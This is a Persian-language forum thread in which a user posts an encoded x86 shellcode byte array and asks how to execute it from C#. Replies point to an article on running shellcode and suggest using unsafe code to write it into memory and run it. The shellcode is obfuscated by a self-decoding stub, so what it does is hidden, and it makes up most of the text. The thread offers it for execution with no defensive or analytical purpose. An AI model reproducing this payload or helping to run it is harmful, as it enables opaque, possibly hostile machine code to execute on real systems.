ايران ويج

نسخه‌ی کامل: شل کد در سی#
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
سلام دوستان
به نظر شما چه جوری میشه ار این شل کد در سی# استفاده کرد؟
کد:
unsigned char scode[] =
"\x33\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8e"
"\x4f\x35\xd5\x83\xeb\xfc\xe2\xf4\x66\x19\x35\xd5\x8e\x1c\x60\x83"
"\xd9\xc4\x59\xf1\x96\xc4\x70\xe9\x05\x1b\x30\xad\x8f\xa5\xbe\x9f"
"\x96\xc4\x6f\xf5\x8f\xa4\xd6\xe7\xc7\xc4\x01\x5e\x8f\xa1\x04\x2a"
"\x72\x7e\xf5\x79\xb6\xaf\x41\xd2\x4f\x80\x38\xd4\x49\xa4\xc7\xee"
"\xf2\x6b\x21\xa0\x6f\xc4\x6f\xf1\x8f\xa4\x53\x5e\x82\x04\xbe\x8f"
"\x92\x4e\xde\x5e\x8a\xc4\x34\x3d\x65\x4d\x04\x15\xd1\x11\x68\x8e"
"\x4c\x47\x35\x8b\xe4\x7f\x6c\xb1\x05\x56\xbe\x8e\x82\xc4\x6e\xc9"
"\x05\x54\xbe\x8e\x86\x1c\x5d\x5b\xc0\x41\xd9\x2a\x58\xc6\xf2\x54"
"\x62\x4f\x34\xd5\x8e\x18\x63\x86\x07\xaa\xdd\xf2\x8e\x4f\x35\x45"
"\x8f\x4f\x35\x63\x97\x57\xd2\x71\x97\x3f\xdc\x30\xc7\xc9\x7c\x71"
"\x94\x3f\xf2\x71\x23\x61\xdc\x0c\x87\xba\x98\x1e\x63\xb3\x0e\x82"
"\xdd\x7d\x6a\xe6\xbc\x4f\x6e\x58\xc5\x6f\x64\x2a\x59\xc6\xea\x5c"
"\x4d\xc2\x40\xc1\xe4\x48\x6c\x84\xdd\xb0\x01\x5a\x71\x1a\x31\x8c"
"\x07\x4b\xbb\x37\x7c\x64\x12\x81\x71\x78\xca\x80\xbe\x7e\xf5\x85"
"\xde\x1f\x65\x95\xde\x0f\x65\x2a\xdb\x63\xbc\x12\xbf\x94\x66\x86"
"\xe6\x4d\x35\xc4\xd2\xc6\xd5\xbf\x9e\x1f\x62\x2a\xdb\x6b\x66\x82"
"\x71\x1a\x1d\x86\xda\x18\xca\x80\xae\xc6\xf2\x54\x62\x4f\x25\xd5"
"\x8e\xc6\xd6\xbf\x8e\x27\x35\xc5\x8e\x4f\x66\x82\x71\x1a\x2d\x54"
"\x62\x4f\x31\xd5\x8e\xb0\xe6\xd5";
سلام

من توي سايت CodeProject بودم كه عنواني رو ديدم در خصوص اجراي شل كد، گفتم شايد بتونه كمك كنه.

http://www.codeproject.com/csharp/csdoesshell1.asp

اميدوارم كه كمك كرده باشه
سلام
والا توی #C حافظه توسط CLR کنترل میشه که دسترسی به حافظه رو محدود میکنه و همچین چیزی انجام شدنی نیست ولی خوب حالت خاصی با نام کد های unsafe هستند که به شما اجازه میدن که به حافظه دسترسی داشته باشید و اشاره گر و .... تعریف کنید .
فکر کنم بشه از این طریق همچین shell code ی رو تو حافظه نوشت و اجرا کرد . من خودم نمی دونم چطور ولی حتما توی MSDN باید باشه !